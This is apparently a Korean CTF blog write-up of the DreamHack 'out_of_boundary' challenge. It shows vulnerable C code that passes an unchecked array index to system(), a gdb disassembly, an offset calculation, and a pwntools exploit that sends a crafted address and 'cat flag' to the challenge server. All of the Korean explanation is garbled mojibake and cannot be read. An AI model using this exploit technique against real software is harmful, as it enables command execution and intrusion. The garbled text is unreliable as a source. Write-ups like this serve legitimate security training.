out_of_boundary.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
gdb Code
0x080486e7 <+28>: call 0x804867b <initialize>
0x080486ec <+33>: sub esp,0xc
0x080486ef <+36>: push 0x8048811 # "Admin name: "
0x080486f4 <+41>: call 0x80484b0 <printf@plt>
0x080486f9 <+46>: add esp,0x10
0x080486fc <+49>: sub esp,0x4
0x080486ff <+52>: push 0x10
0x08048701 <+54>: push 0x804a0ac # name
0x08048706 <+59>: push 0x0
0x08048708 <+61>: call 0x80484a0 <read@plt>
0x0804870d <+66>: add esp,0x10
0x08048710 <+69>: sub esp,0xc
0x08048713 <+72>: push 0x804881e # "What do you want?: "
0x08048718 <+77>: call 0x80484b0 <printf@plt>
0x0804871d <+82>: add esp,0x10
0x08048720 <+85>: sub esp,0x8
0x08048723 <+88>: lea eax,[ebp-0x10]
0x08048726 <+91>: push eax # &idx
0x08048727 <+92>: push 0x8048832 # "%d"
0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>: add esp,0x10
0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10] # idx
0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060] # command[idx]
0x0804873e <+115>: sub esp,0xc
0x08048741 <+118>: push eax # command[idx]
0x08048742 <+119>: call 0x8048500 <system@plt>
์ฐ์ gdb๋ก ์ฝ๋ ์์ญ์ ํ์ํ ๋ถ๋ถ์ ํ๋์ ๋ณด์ด๊ธฐ ์ฝ๊ฒ ์์๋ค ์ฃผ์์ ์ ์๋ค.
๊ฐ ๋ณ์์ ์ฃผ์ ๊ฐ์ ์๋ ํ์ ๊ฐ๋ค.
๋ณ์ | ์ฃผ์ |
name | 0x804a0ac |
*command | 0x804a060 |
๋ ๋ณ์์ ์ฐจ๋ฅผ ๊ณ์ฐํ๋ฉด 4C(76)์ด ๋์จ๋ค. 4๋ก ๋๋๋ฉด(32๋นํธ ํ๊ฒฝ์ ํฌ์ธํธ ํฌ๊ธฐ๋ 4๋ฐ์ดํธ ๋จ์์ด๋ฏ๋ก) 19๊ฐ ๋์ค๋ฏ๋ก ๋ณ์ ๊ฐ์ 19๋งํผ์ ์คํ์ ์ด ์กด์ฌํ๋ค.
์ฌ์ฉ์์๊ฒ ๋ ๋ฒ์งธ๋ก ์ ๋ ฅ๋ฐ๋ idx ๊ฐ์ 19๋ก ์ฃผ๊ฒ ๋๋ฉด OOB(Out Of Boundary)๊ฐ ๋ฐ์ํ์ฌ name์ ๊ฐ๋ฆฌํค๊ฒ ๋๋ค.
command[19] ==> name
์ด์ ๋ง์ง๋ง์ผ๋ก ๋์ด๊ฐ system ํจ์์ ์ธ์๋ก command[19]๋ฅผ ๋๊ธฐ๋๋ฐ ์ฌ๊ธฐ์ ์ฃผ์ํ ๊ฒ์ system ํจ์์ ์ธ์ ๊ฐ์ผ๋ก ๋ช ๋ น์ด ๋ฌธ์์ด์ด ์๋ ๋ช ๋ น์ด ๋ฌธ์์ด์ ์ฃผ์๊ฐ์ ์ ๋ฌ ํด์ผ ํ๋ค.
๊ทธ๋ฌ๋ฏ๋ก ์ฒ์์ name์ ์ ๋ ฅํ ๋๋ "{name+4์ ์ฃผ์ ๊ฐ}cat flag"์ ๋ฃ์ด์ผ ํ๋ค.
name์ ์ฃผ์ ๊ฐ์ 0x804a0ac์ด์์ผ๋ ์ฌ๊ธฐ๋ค +4๋ฅผ ํ๋ฉด 0x804a0B0์ด๋ค.
๋ฆฌํ ์๋์ธ์ผ๋ก ๊ณ์ฐํ๋ฉด name ์ ๋ ฅ ๊ฐ์ ๋ค์๊ณผ ๊ฐ๋ค.
b"\x08\x04\xa0\xB0cat flag"
exploit.py
from pwn import *
rem = remote('host3.dreamhack.games', 17129)
payload = p32(0x804a0ac+4)
payload += b"cat flag"
rem.sendlineafter("Admin name: ", payload)
rem.sendlineafter("What do you want?: ", b"19")
flag = rem.recv(100).decode('utf-8')
print(flag)
์ฐธ๊ณ :
https://dreamhack.io/learn/2/14#10
๋ก๊ทธ์ธ | Dreamhack
dreamhack.io
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - broken-png ํ์ด (0) | 2023.09.08 |
---|---|
DreamHack - phpreg ํ์ด (0) | 2023.09.08 |
DreamHack - Guest book v0.2 ํ์ด (0) | 2023.09.07 |
DreamHack - Guest book ํ์ด (0) | 2023.09.07 |
DreamHack - CTF์ ์ ์ฉํ ๋๊ตฌ ๋ชจ์(๋๋ฆผํต ํด์ฆ) (0) | 2023.09.07 |